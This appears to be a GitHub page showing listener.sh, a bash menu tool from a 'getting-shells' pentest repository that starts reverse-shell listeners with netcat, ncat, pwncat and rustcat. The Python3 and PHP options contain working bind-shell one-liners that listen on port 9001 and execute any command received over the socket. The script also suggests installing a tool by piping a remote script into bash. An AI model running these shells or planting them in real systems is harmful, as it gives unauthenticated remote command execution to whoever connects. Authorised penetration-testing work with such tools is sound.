-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathlistener.sh
executable file
·167 lines (146 loc) · 4.83 KB
/
listener.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
#!/bin/bash
#
# version 1
# date 2021-11-22
# https://github.com/davift/getting-shells
#
clear
allowAbort=true;
myInterruptHandler()
{
if $allowAbort; then
exit 1;
fi;
}
trap myInterruptHandler SIGINT;
####
function box_out() {
input_char=$(echo "$@" | wc -c)
line=$(for i in `seq 0 $input_char`; do printf "─"; done)
tput bold
tput setaf 7
space=${line//─/ }
echo "┌${line}┐"
printf '│ ' ; echo -n "$@"; printf "%s\n" ' │';
echo "└${line}┘"
tput sgr 0
}
function box_title() {
tput bold
tput setaf 6
echo "┌─────────────────────────────┐"
echo "│ │"
echo "│ GETTING SHELLS - LISTENER │"
echo "│ │"
echo "└─────────────────────────────┘"
tput sgr0
}
function box_exited() {
tput bold
tput setaf 6
echo "┌────────┐"
echo "│ EXITED │"
echo "└────────┘"
tput sgr0
exit 0
}
function box_red() {
# tput bold
tput setaf 1
echo "$@"
tput sgr0
}
function box_green() {
# tput bold
tput setaf 2
echo "$@"
tput sgr0
}
####
box_title;
box_out "Local Addresses"
#tput bold
tput setaf 1
echo "`curl -s 'http://ip.me'` (public IP)"
echo "`hostname -I``hostname`"
echo "127.0.0.1 localhost"
tput sgr0
if [ $(($1)) -ge 1 ]; then
local_port=$1
else
read -p "Local port (LP) [1-65535]? " local_port
fi
tput bold
box_red "Listening port: $local_port"
box_out "Testing..."
which nc > /dev/null && box_green "Original NetCat - OK" || box_red "Original NetCat [sudo apt install netcat -y]"
which ncat > /dev/null && box_green "NMAP's NetCat - OK" || box_red "NMAP's NetCat [sudo apt install ncat -y]"
which pwncat > /dev/null && box_green "PwnCat - OK" || box_red "PwnCat [pip install pwncat]"
which rcat > /dev/null && box_green "RustCat - OK" || box_red "RustCat [bash <(curl -s https://raw.githubusercontent.com/robiot/rustcat/main/pkg/debian-install.sh)]"
which python3 > /dev/null && box_green "Python3 - OK" || box_red "Python3 [sudo apt install python3 -y]"
which php > /dev/null && box_green "PHP - OK" || box_red "PHP [sudo apt install php -y]"
box_out "Listeners"
PS3='Selection: '
options=(
"Reverse | Original NetCat | nc -lvnp LP" \
"Reverse | NMAP's NetCat | ncat -lvnp LP" \
"Reverse | NMAP's NetCat SSL | ncat --ssl -lv LP" \
"Reverse | PwnCat (advanced) | pwncat -l LP" \
"Reverse | RustCat | rcat -lHp LP" \
"Blind | Python3 | python3 -c 'exec(..." \
"Blind | PHP | php -r '\$s=socket..." \
"EXIT")
select opt in "${options[@]}"
do
case $opt in
"${options[0]}")
allowAbort=false;
box_red "Starting NetCat..."
nc -lvnp $local_port || box_red "...listener aborted!";
allowAbort=true;
;;
"${options[1]}")
allowAbort=false;
box_red "Starting NMAP's NetCat..."
ncat -lvnp $local_port || box_red "...listener aborted!";
allowAbort=true;
;;
"${options[2]}")
allowAbort=false;
box_red "Starting NMAP's NetCat SSL..."
ncat --ssl -lv $local_port || box_red "...listener aborted!";
allowAbort=true;
;;
"${options[3]}")
allowAbort=false;
box_red "Starting PwnCat..."
pwncat -l $local_port || box_red "...listener aborted!";
allowAbort=true;
;;
"${options[4]}")
allowAbort=false;
box_red "Starting RustCat..."
rcat -lHp $local_port || box_red "...listener aborted!";
allowAbort=true;
;;
"${options[5]}")
allowAbort=false;
box_red "Starting Python3..."
python3 -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",9001));s1.listen(1);c,a=s1.accept();while True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")' || box_red "...listener aborted!";
allowAbort=true;
;;
"${options[6]}")
allowAbort=false;
box_red "Starting PHP..."
php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",9001);socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ ",2))exit;$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);socket_write($cl,$m,strlen($m));}}' || box_red "...listener aborted!";
allowAbort=true;
;;
"${options[7]}")
break
;;
*)
;;
esac
done
box_exited;
exit 0